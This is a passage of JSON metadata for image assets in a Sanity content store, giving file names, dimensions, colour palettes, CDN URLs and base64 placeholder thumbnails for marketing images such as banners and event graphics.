CPliBL0+kuEIcjROMR2lmQ1SCdsRPMt2Jsas9A94kEwRjFIMozFBf38arU7hlEbluCbPlz0FjoslRKnE4EiK8XM+psxBLl2M8c1lH4vXbKzPLyB4bD4mzjowGdcZHoozPJRmaFDhzBkVSSpi6N/iZG+VYyerfHaixuenq/QNKIyNRBgZijA4mESSwpjHnLjnrAhBV5SJsy4GDB5MxjCSMY4kyRiNKv0DJfSGGhptheM9RY6dKvNFb5Xz5jJr1jJRVwHnUo7pqQ0ujEdw3rQjKN4U0+NujIY1JGP4U64kKQwYNxF1JXp6q2g0RTS9WU5qFL7SFBg9VyHp26FbarARKnL5Up4LEzL2GzaEgjPGzUknkt5Gn85LX18UvV5Gr88himU0vVtotQV02hRabYITmiy6/k1WFkpUkmUclgyDwzKT5jgrM8sILW8c3w0v50wr6EQ3ohhGFFPoRBWdWEEUa+jEIn2igk7McLpXpUebZXIizeKMzOhoDJ3hvzFRvMsrCNueCK4rq5hNNs5IfvSG6P/A8idUr8uh1ymIYo6e3k20YprzYwmmL2QQDWm0hjiLswlyER+CPL/K0vl5ro5YuTQewHw2xuhQiuEzKkOmCiZjGak/w4A+Tp9ORqNVMBhiXJ0KM3MlSV9/gl59kPk5H/mEB2HP56e44iIyayew6CHmTBJ2KIQcJUKOJu7lBvPXMkyb/YyNBBgejmIeD3DrqpO5qy6Gh7wYTR6W5tcoJ70IP7SLPCgkUD0ryG4r+7kkR/Ui3+82eXOny5Nmh2ZWJeR0szRnZc2+jhyIoaz7Sbp9eK0RHJYwij9CNxdHuNtK0SwFUSM2ChEH98syr9oV3h00eX9vl7fdbb7bUSnF14g4FmgoPp618xw2cjzYVrlX26BbyvCokuVxNYOQUCxkN+xUci72yiGOGjmebpd5tlPlRbvGYTtPt56mGPcQXV2kpQR4uVfgYTvHXiNNpxbhYSPJy1aOpzWFfwGshOdXTTk3LwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50453d","foreground":"#fff","population":7.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04156b","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#50453d","foreground":"#fff","population":7.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfaf8c","foreground":"#000","population":1.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8dc9f","foreground":"#000","population":1.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae6571","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b03442","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567.png","path":"images/sczeoy4w/production/0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567.png","sha1hash":"0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634","size":708648,"uploadId":"9R6YaoXYj8BOJMpvpKIsNkjw0IKWvRZi","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567.png"} {"_createdAt":"2024-09-17T14:54:29Z","_id":"image-264b766d8b37cd05870a3b2232a69c01f46632bf-1920x1080-png","_rev":"59njUZU77qYtYSvR6AyiO9","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T14:54:29Z","assetId":"264b766d8b37cd05870a3b2232a69c01f46632bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M02~v,okfQokfQ8wawfQawfQx|fRfQfRfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAASElEQVQokWMQkIwmGzEISSeQjRhEZFPJRgxiCtlkIwZxpUKyEYOkSjnZiEFarZZsxCCr0Uw2YpDX7iQbMSjo9pONGJT0J5ONALhLmu39nLvUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c68","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14246e","foreground":"#fff","population":7.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2b86","foreground":"#fff","population":19.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c95c2","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6dff4","foreground":"#000","population":0.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6692","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2b86","foreground":"#fff","population":19.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image test 1.png","path":"images/sczeoy4w/production/264b766d8b37cd05870a3b2232a69c01f46632bf-1920x1080.png","sha1hash":"264b766d8b37cd05870a3b2232a69c01f46632bf","size":41157,"uploadId":"I4bAcau7XtKZhHRpCsJVNUoj48wL1nuV","url":"https://cdn.sanity.io/images/sczeoy4w/production/264b766d8b37cd05870a3b2232a69c01f46632bf-1920x1080.png"} {"_createdAt":"2023-10-30T07:00:03Z","_id":"image-34dda3f815ef525b687c4d86ca9e0c29c28a0728-1200x628-png","_rev":"NgTOJkLjRz9tfm3YdZZD0k","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T07:00:03Z","assetId":"34dda3f815ef525b687c4d86ca9e0c29c28a0728","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M79j+=9Dejs*4p~q9bt6xsD+4TxrV@jdx@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmklEQVQokT2Ra09SAQCGzy9oy0JSLiLIVRBQAUXEsFLiIhxE0Fq1sqzMW8sSQbl4DhhC5ej2pbb85NpabbXVWj/uaeLqB7zvnmePcLYrg8G2iMu3ytDYYzyBp3jGc/iCO/hDFfyTMoErzxm7fIBtSEJjKWFy7xMKvyKd3icpyvgmauhsJbr6thEU6nlc3kdciRa4miwTTuwRTlSJiHXi6RfE04fE51qExRZu/z5Gp0wi+xFZOqaxXaGRl8jljgiGW6jNuwid2gWGx9aJJEvMpCXis1Vm5uoks03E+UNSC69JZN8wGX2JbVjC5T9gR/rFj6+/+SRvcdwo8/XzH5bWvqB31E4PB0dWuRTJMxUvtgmjYo1oqk5stsnM3CGxdIuJ6SZmdwVXoMFG+TutD5+Rn65yUMrz9ugni4+/YXK/RFBqr+EJrBNOFImKFeLpGolMnUTmlHD22huS86eE/cMSRreMR3zNxaU6kTvrTD8oEFp+jyf2Dv1AE0GhWcA1ssKlSIGpWJHL0TJTcYmryedExAbTM02C03XcfhmDo9SOonLLqEMSfbEiuvge3RdraJwnwSSEjq4MesttBoaXcfrWcHg2cPo28YwX8AZLDPh2MTrz6Gx51KbC/8r2sSb2YB3r+D5mb5VeRxm1uYjQoUyh02YwW25htC+hs9zH0L+Ca2QLX7DEYKCCfbSCzVuht79Ij62Mw9dgNNTCO9HEPVrD7pEwOIqoTDsIHZ0ienUKi+kGff33UBvvorOe0G4xGiozMlllMFTDGai2lbX/CL0HWAb36LXvoLVuozLl6DbtIpxRpDinnEWhyqLQXOe8+iad2kVUhodozev0WDfRWrfaoxNllamIxrLXVu825rig30Spf8IFwzNU5hJ/AV0ch1NoDCHtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a7c","foreground":"#fff","population":2.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041969","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9cde6","foreground":"#000","population":11.56,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8696c4","foreground":"#000","population":0.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9cde6","foreground":"#000","population":11.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7755b","foreground":"#fff","population":0.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af4e44","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Quote case social media image template with photo _ Dark blue (2).png","path":"images/sczeoy4w/production/34dda3f815ef525b687c4d86ca9e0c29c28a0728-1200x628.png","sha1hash":"34dda3f815ef525b687c4d86ca9e0c29c28a0728","size":303462,"uploadId":"kbZlOgmBXp526vipUbJ8PSkHsEluneQT","url":"https://cdn.sanity.io/images/sczeoy4w/production/34dda3f815ef525b687c4d86ca9e0c29c28a0728-1200x628.png"} {"_createdAt":"2023-10-17T16:29:33Z","_id":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_rev":"XviG3sGozuluYh3s8wkKCa","_type":"sanity.imageAsset","_updatedAt":"2023-10-17T16:29:33Z","assetId":"d7e5106f46455bf447df91124e41364153e604e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJHJaoCAFzV?Mw?06.|x$161M+E-5;xBskAbw}SzadNFEx+@-5R*Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2250,"width":2250},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363c61","foreground":"#fff","population":2.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801114","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ceaa9f","foreground":"#000","population":2.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceaa9f","foreground":"#000","population":2.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0685a","foreground":"#fff","population":0.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67509","foreground":"#fff","population":2.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"developer-workshop-hero.png","path":"images/sczeoy4w/production/d7e5106f46455bf447df91124e41364153e604e3-2250x2250.png","sha1hash":"d7e5106f46455bf447df91124e41364153e604e3","size":1147159,"uploadId":"UTUUjGUiWSB62nD6spyU2zGAFbpFFOlL","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7e5106f46455bf447df91124e41364153e604e3-2250x2250.png"} {"_createdAt":"2023-10-13T19:26:55Z","_id":"image-5e80aaed70672e3faf09a8b095830578502c5183-1200x630-png","_rev":"eymHymupXZZZ08HQS3roVN","_type":"sanity.imageAsset","_updatedAt":"2023-10-13T19:26:55Z","assetId":"5e80aaed70672e3faf09a8b095830578502c5183","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFBfMU0^=BBa#gxnOI-MIqt7xvVrNfWY$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBElEQVQokS3RW0+bBQCA4e83mExCKT1S+EpLJy2ltKWlp68nOsgqgVBg0BaBQelXymGUQisDukGTZQKJOhISly0uigbFKMNFE7Mb4/RCb/QHeO1PeI3Eq/fuvXmEt5rGaVCnUehmaNLfRdmSQ6GXadAWeFu7RINuhUb9Ok2GLTSmA0T7KRbvObbAt9yKnfBgMs/l6jB/7cX557EfoVGbxmSTcXhLOLxlbO5Nbjo2ETs3MNzcoK1zC9G6TXtXDavnEFf4Oa7YN3RL3xGPnVIZW+ZMHuPX6iB/H0gIza3TOH0l4rdrRAZq+KO7BOIP8Uf38cUOCPQ/wh9/TCB+RP/QKcmJL4mPXOKKXhKUnpIfKvNkNsvV2gi/vT+AoGzJYnWt4JUquAIVnL4qvaFdPKEanvA+3kidHn+dLk8dZ/AYX+IZfYlz7MELur2fMBzZZic1z8lMmo9mphGa9Bk6ncu4A5vXQ0/oPh5pD0ffDlb3fd5x7SB2bqM2VtGaa5gdH2IPfEp38Ixu9wnJ3hLlaJpqIktWWkZQ6NJ02Jfo6dugx7eJo6+C1VXBaC2jM6+jNW2gEssoW7fQWx5i9TyhL/45oYFzhqLHVAMTfByU2PffZtGd+R/FKmPvXcfmLmGyraEWizTq/hMu0qBbvVZWtlVo73qEJ/qM2NAFydRLiiNHfHErzI+Rdl4EXXzgiyHcUN1BI87RasljsBTQthdQ6PM0aOTraVPLCkrDPVRiBYvzkNDgGcnxV4xmfmJp4inPB9/ldczIRdjOob8f4YYiRbNmEo1hlubWBZSGHM0GGZVBxmRaxGNfQHLm8Pas4QkckRi+IDX9msn5X5iauiKfeEA9nGFPmiHr20JQKEcR9ZOYOhYwdBTQGvO0mAoYzTLx3llWk3eoT6TYG88yN1pnLP2STO4Nc8XfGZv5GSnxNeHQC8LSZ7iD5wiNqgk0ujS6tjnUYg512yJaUcZskRkPv8dhJsVXxSSX90Y4Lu6SW3zF3eU/KJT+ZGr+Df6BK7rD3+OI/HDdfwFGYL2Y1EdlhgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44437a","foreground":"#fff","population":1.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13246f","foreground":"#fff","population":5.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b36d53","foreground":"#fff","population":6.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a7d5","foreground":"#000","population":1.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49440","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b36d53","foreground":"#fff","population":6.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c12","foreground":"#fff","population":1.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS REINVENT BANNER (3).png","path":"images/sczeoy4w/production/5e80aaed70672e3faf09a8b095830578502c5183-1200x630.png","sha1hash":"5e80aaed70672e3faf09a8b095830578502c5183","size":260423,"uploadId":"JUa49vbecREv5ixvs1fTKCXQ8GldrirU","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e80aaed70672e3faf09a8b095830578502c5183-1200x630.png"} {"_createdAt":"2023-09-06T15:32:48Z","_id":"image-c5bbf28193991628b5e587e4acb1eb7a46d53b25-960x400-png","_rev":"7lO65z9OheRFnytB4YivN6","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T15:40:23Z","altText":"Google cloud partner of the year badge","assetId":"c5bbf28193991628b5e587e4acb1eb7a46d53b25","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4,"height":400,"width":960},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABqElEQVQokYXQ327SYBgG8OeDFlg25040erqr0GgEMo3ZFjUQCqWlpaWU8rX9aNdaC93YX9ziPPCE4DYXDzzQG9l1mHgF6hVgQmJiYtie5M37HP0OHuCfbLwszX7NOEZZFInhJOmz8bfs18svy58nZ7cODkdZy/G4VocSUdHRpi7y+Tzm5i+4tq5CkBtE67D0/vAk++H4/dLp6GTxTZxkOjbjDMsmzbYFk7Kbwel0ioePi6irGhEbKl8V5duipNyXFO1eQzOWdbObMSkj3V6AdtdFoVC4GXzw6AkkVSNCXc6WhNqdslBbrdbl1XqjeVdtmTnTZsQN+2hZ9vXg5qsyfv3+OetS0yCSovKCpC9WVLZS1bwVWbeWdNPKmI5HusyHSV0Ui8X54ItSBePJR5xfXEC3fGJTM20MLjnh9Eeu+u57rtMf84w5HPUHxPUDOF6AtafP5oMlQUSys4vdvX3QYA+hb6doMuGV0dWC+vZqgQ0nfBx5qV48QhDFs3u+vnn9hn4YQalUEB19QhBsoRcmKRYdcl58xIXxMDUY9PH64ByS3kKyPfxvwz94PIxl9adh5AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c2c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c54","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#928272","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304668","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b7d5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#928272","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446494","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"badge-gcp-partner-of-the-year (1).png","path":"images/sczeoy4w/production/c5bbf28193991628b5e587e4acb1eb7a46d53b25-960x400.png","sha1hash":"c5bbf28193991628b5e587e4acb1eb7a46d53b25","size":40419,"title":null,"uploadId":"zlQEMs1HwZSYtI67TgGcr9t2jTKMuvth","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5bbf28193991628b5e587e4acb1eb7a46d53b25-960x400.png"} {"_createdAt":"2023-10-10T09:36:19Z","_id":"image-b436d2b70bf4145bae71d9146fcb8ec1952e1de0-2025x2025-png","_rev":"kdSZ3lyplq7ihlwbzjrhFT","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T09:36:19Z","assetId":"b436d2b70bf4145bae71d9146fcb8ec1952e1de0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e23uy:%MMwoNRP%QxZsloJWBDgnh%3jsj]WJj?ogf8fQM@WXWUWBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2025,"width":2025},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABuvAAAbrwFeGpEcAAADXUlEQVQ4jY1TS28jRRDumEUo2u1Oxnb3vDx+jl9xNli7sjj4wAGJw2qVTLed2E78Thb4E5y5c0baGxJSVpySHwEIIXEAceDCGQkOq40s0YWqZ4ycsFrt4dNXVdP99VfVPYQKWb7PVXs7ozrbadl5kI06lMsOE8rwm8C42sQ+E8ojjKsv03b0te1HL+xc79Jy+5dMqEsmZMJvBhUS8YJy+ZwJ+TkK/hl4T18+aj65abcHr/zy6Q0TvRvK5VsiepXEf1Muf0dByPtPodN6Ao8fDSAXnsKO3QMmJDChEpYb+e0aFRFQjjD5P4QJpbOe0kGpr4PyQNuFoebBQPPcSczBQGeTWORjrOsIy+1rJqSmXGrUMoI8GOp8bQpBdaKD6gQKtSkU6lMoNWYGxcYMys05lPfmUNlbmBp+z1cngKLoelMQ7MLQLKzszaGEG5tzqLQWUH14blA/uIBG+xk03r8wCFtLcwgKivxQ79h3BEV+CKXGPHZTj92ErQXUHp4boGAzEcQcD18L2kaw9xrBZuwORXEDuqglDo3wwbmp4Xcci185A6c4grR3bFpGsVuCZkZGMJ5TuG55PxbGGjryK2NwCiPguQFk/BPYdfBS7rSczZ1AEI4hCCeG87WJaX19IXgIXppXPjPO/PIZuKVTI5zxT/4/QzzJLEwW58JxfNMbQHfrF4CH4aFu8RTiZ3O7ZfO2EjcaN2BsWt5fGuDszBiw/YN4pugaXVqvFxzqUmOui/WZ9itjA3yThdrU1Ar1mc5Xp3HemJlaLhxrpzDSyaXcetiQ8Y7BK43ALQ4h6x9DxutBxutDFuEn2Mgzfh/SXh/dQfybmhkal4QJ+ZflyBvbi1aOH62Ee5TgMEEc2//lh6usc7TaFXLFhFxRrgwzoV5SLv9Awa8sO/pWuIfXjnd45XiGDdw78ToX7tG1ZctrJuQ1FerKMJffMKG+QMG9XSE/SDtRN+NEXeS0Hccm34jXsOyouyNklwnZpVwlLB8zoUrkflYRwoZb5L1pitybp8i7CTBe58jvLFLk3iLOt8eplHWcolylmJDIW0yoLcolQYekHX5MrkYO+elih3y3tMj3S4v8/IyRXz6h5IelZeq/ffaA/PopJT+e75LnUZF81PqQWHZEKFdGgwlFqFDkX38XFx4lF5zcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3662","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":40.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":40.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccac94","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#959ecc","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed8e10","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven live london schedule (1).png","path":"images/sczeoy4w/production/b436d2b70bf4145bae71d9146fcb8ec1952e1de0-2025x2025.png","sha1hash":"b436d2b70bf4145bae71d9146fcb8ec1952e1de0","size":255493,"uploadId":"c9gqKxF6LR7VxWYWciUpzFs6k4ku8ZQn","url":"https://cdn.sanity.io/images/sczeoy4w/production/b436d2b70bf4145bae71d9146fcb8ec1952e1de0-2025x2025.png"} {"_createdAt":"2023-10-10T09:39:59Z","_id":"image-58ca42dc6518db3dbfd2844bb0b5f0c2399af4f9-2160x2160-png","_rev":"kdSZ3lyplq7ihlwbzjrrqE","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T09:39:59Z","assetId":"58ca42dc6518db3dbfd2844bb0b5f0c2399af4f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e23u$^%3MvjcRi%QxZs,oLWADgjD%NoLfRamjsj]aej]NAWYWBWBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAB2HAAAdhwGP5fFlAAADQklEQVQ4jY2SzXIaRxDHJ9bBTik7WrE7s5/AsiwsIEvWxVU5+kYqlZidgV0JIxAScjl+Bz+Gr7r5MXzEL+IX8IGjy9NJzy42JE4lh391z0f/prunicEFO2QyfmSN00fHIj20stRgIqVcavs90e/vxwYTjFAm35hcvLW97J4F8v7YHd9TLu8pE6X9/3pLuXyDwI+e9/un086vmydn+SZsTzdHznhjMPGfOnLkpuZPNjVvgjGfKJcfEQih/xs8HfwCPz/NIUpnYLoToEwA5RIoFzvaX5vuGOygACvI4cgZ63NCuVS2J1WjNVbNpFBudKnssFB2kJc2LJQV5FosLLS2++hbQa5Md6yQgyqBYaHCZA71ZK7qyRU0OnOtKF1A1LuGZneh/VZ/qYV+o7uAemcOrH6BIDCYqIBMAm9cQHuwhPbgBuL+EuLBjfY7j2+he7qC9OwOek9eavXPX+r97UNO81KX+w3IJb6iL7R6y9L2l9A+QeBKByMQQQhEPzm5gSgtgW401b00qp4TdL4CsaTeNcSDpQ7C7HazRB8raKYLCJMr8OMZsPDi64fsATWo6hGWm5zcQvdstQfbgrzohY6xwwKOvYkG7WWI344Xscn4KVgKQsvelf1DMH5E0J6B33oBXjQFpzmtRuZvwJqf6/T15Xim4QjcfgIK4biHWeKDOAUItvz8HxnqsalGQ1ssH0vcwjDLdKd8tNgaBNb8fH9s0MHh9OOZCtozFcQzhfPY6i9V93Sl0rM7lZzcqmZ6rZrpQrV6S9XqXat6Z67caKpjEbQzNkL3oOZNwPJL2UEOXnQJjWQGzc4VBK0p8DAHFuTAwlyfY++wVaY73i+ZcrExufhsuyPFvNEX5mmrHD9TbiC00OfeSAvPbDdTplNmRLn8UmX4mXK5QeA708nec2/0wfWfr1GO93ztVkJfr/1v4t5ofexka8rF2mBiTZn4QLl8bzDxDoHnR1w8q7nZ0HZHldDPhszLhjZq72w0tNxsaHIxpFpSW4OJZ5TLc2IwSR5akwfELA4IvfwXXeyvzeLgoTU5MJg8oFxoa3D5A